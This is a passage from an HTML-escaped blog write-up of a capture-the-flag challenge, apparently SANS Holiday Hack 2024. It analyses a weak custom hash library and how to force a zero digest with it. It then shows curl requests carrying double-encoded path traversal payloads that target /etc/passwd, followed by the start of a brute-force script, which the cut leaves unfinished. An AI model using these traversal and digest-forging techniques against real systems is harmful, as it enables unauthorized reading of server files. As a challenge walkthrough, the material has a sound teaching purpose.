file_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes = filename_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes_length = &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes = nonce_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes_length = &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_length = hash_length&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_result = &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;._compute_hash()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;_compute_hash&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self&lt;/span&gt;) -&amp;gt; &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        hash_result = &lt;span class=&#34;built_in&#34;&gt;bytearray&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_length)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        count = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; i &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;range&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.file_bytes)):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            xrd = &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.file_bytes[i] ^ &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes[i % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes_length]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            hash_result[count % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_length] = hash_result[count % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_length] ^ xrd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            count += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; i &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;range&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes)):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            count_mod = count % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_length&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            count_filename_mod = count % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes_length&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            count_nonce_mod = count % &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes_length&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            xrd = &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes[count_filename_mod] ^ &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes[count_nonce_mod]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            hash_result[count_mod] = hash_result[count_mod] &amp;amp; xrd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            count += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;(hash_result)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;digest&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self&lt;/span&gt;) -&amp;gt; &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&amp;quot;Returns the raw binary hash result.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_result&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;hexdigest&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self&lt;/span&gt;) -&amp;gt; &lt;span class=&#34;built_in&#34;&gt;str&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&amp;quot;Returns the hash result as a hexadecimal string.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; binascii.hexlify(&lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_result).decode()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;update&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self, file_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt; = &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;, filename_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt; = &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;, nonce_bytes: &lt;span class=&#34;built_in&#34;&gt;bytes&lt;/span&gt; = &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;&lt;/span&gt;):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&amp;quot;Updates the internal state with new bytes and recomputes the hash.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; file_bytes &lt;span class=&#34;keyword&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.file_bytes = file_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; filename_bytes &lt;span class=&#34;keyword&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.filename_bytes = filename_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; nonce_bytes &lt;span class=&#34;keyword&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.nonce_bytes = nonce_bytes&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.hash_result = &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;._compute_hash()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;validate&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;self, hex_string: &lt;span class=&#34;built_in&#34;&gt;str&lt;/span&gt;&lt;/span&gt;):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&amp;quot;Validates if the provided hex string matches the computed hash.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;try&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            decoded_bytes = binascii.unhexlify(hex_string)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; decoded_bytes == &lt;span class=&#34;variable language_&#34;&gt;self&lt;/span&gt;.digest():&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;True&lt;/span&gt;, &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;except&lt;/span&gt; Exception &lt;span class=&#34;keyword&#34;&gt;as&lt;/span&gt; e:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            stack_trace = traceback.format_exc()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;f&amp;quot;&lt;span class=&#34;subst&#34;&gt;&amp;#123;stack_trace&amp;#125;&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;False&lt;/span&gt;, &lt;span class=&#34;literal&#34;&gt;None&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;This library generates a digest of a file contents along with its filename, using the nonce as the XOR key. This library is vulnerable for two main reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;validate&lt;/code&gt; function returns the exception stack trace, which is the reason that allowed us to find the library file in the first place&lt;/li&gt;
&lt;li&gt;The filename gets processsed after the file contents, so a specifically crafted filename could completely cancel out the contribution of the file contents.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Exploiting the library can allow to obtain a digest of only zeroes by padding the filename and appending the nonce two times. For example, given the standard hash length of 16 bytes and the statusid as filename we can zero out the digest as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The filename “cAwzkltLXZHSw”, 13 bytes long (“6341777a6b6c744c585a485377” in hex)&lt;/li&gt;
&lt;li&gt;A padding of 3 bytes (e.g. “ff”), so to line up with the hash length&lt;/li&gt;
&lt;li&gt;The nonce of 8 bytes, repeated to reach the hash length&lt;br&gt;The result would be the following 32 bytes:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_09_hashlib_01.png&#34;&gt;&lt;br&gt;These would cancel out any contribution by both the file content and the filename itself, leading to the digest 00000000000000000000000000000000 (00, 16 times):&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_10_hashlib_02.png&#34;&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;The-LFI&#34;&gt;&lt;a href=&#34;#The-LFI&#34; class=&#34;headerlink&#34; title=&#34;The LFI&#34;&gt;&lt;/a&gt;The LFI&lt;/h3&gt;&lt;p&gt;Tampering the &lt;code&gt;statusId&lt;/code&gt; in the URL we can observe a different error, leading toward a LFI vulnerability:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/view/cAwzkltLXZHS/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&amp;amp;debug=true&amp;quot;&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Status Id File Not Found&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Attempting various LFI payloads we can observe that some of them return more interesting results:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/view/..%252F..%252F..%252F..%252Fetc%252Fpasswd/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&amp;amp;debug=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Invalid Status Id or Digest&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;This test demonstrates that a LFI is actually present, it needs to be double url encoded (e.g. &lt;code&gt;/&lt;/code&gt; -&amp;gt; &lt;code&gt;%2f&lt;/code&gt; -&amp;gt; &lt;code&gt;%252f&lt;/code&gt;) and that the root directory is located to &lt;code&gt;../../../../&lt;/code&gt; relatively to the application running directory, but suggests that the file gets validated against the &lt;code&gt;FrostBiteHashlib&lt;/code&gt; seen before. Attempting the LFI appending the file as seen before didn’t work:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % curl &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fpasswd%25ff%25ff%259e%2560%25e7%25c0%2521%2563%2535%259a%259e%2560%25e7%25c0%2521%2563%2535%259a/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&amp;amp;debug=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;:&lt;span class=&#34;literal&#34;&gt;true&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;error&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;Status Id File Not Found&amp;quot;&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I assumed this is due to the presence of printable characters in the nonce, for example printing it in python results in:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;meta&#34;&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;b&amp;#x27;\x9e\x60\xe7\xc0\x21\x63\x35\x9a&amp;#x27;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;b&amp;#x27;\x9e`\xe7\xc0!c5\x9a&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I have then spent some time to find accepted alternatives to these printable characters so to introduce the least possible variance in the resulting digest. The following table shows the resulting values with an incoming hash of only &lt;code&gt;ff&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_11_lfi.png&#34;&gt;&lt;br&gt;The highlighted values are the ones that have changed, and these could either be only the shown value or 0, depending on the hash results from the first loop (file_bytes XOR nonce_bytes). Having 11 bytes that can assume 2 values, this would result in &lt;code&gt;2 ^ 11 = 2048&lt;/code&gt; possible digest values. This is a fairly big number but manageable with a script 😁&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; requests&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;from&lt;/span&gt; itertools &lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; product&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; re&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; base64&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; urllib.parse&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;regex = &lt;span class=&#34;string&#34;&gt;r&amp;#x27;const debugData = &amp;quot;(.*?)&amp;quot;;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;base_url = &lt;span class=&#34;string&#34;&gt;&amp;quot;https://api.frostbit.app/view/&amp;#123;&amp;#125;/&amp;#123;&amp;#125;/status?digest=&amp;#123;&amp;#125;&amp;amp;debug=true&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;uuid = &lt;span class=&#34;string&#34;&gt;&amp;quot;3da17f67-ee61-455d-afc2-aa20e8c7911e&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;digest_str = &lt;span class=&#34;string&#34;&gt;&amp;quot;00&amp;#123;&amp;#125;00000&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;00000&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;#123;&amp;#125;0&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;ranges = [[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;],[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;]]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;padding_byte = &lt;span class=&#34;string&#34;&gt;b&amp;quot;\xff&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;append_nonce = &lt;span 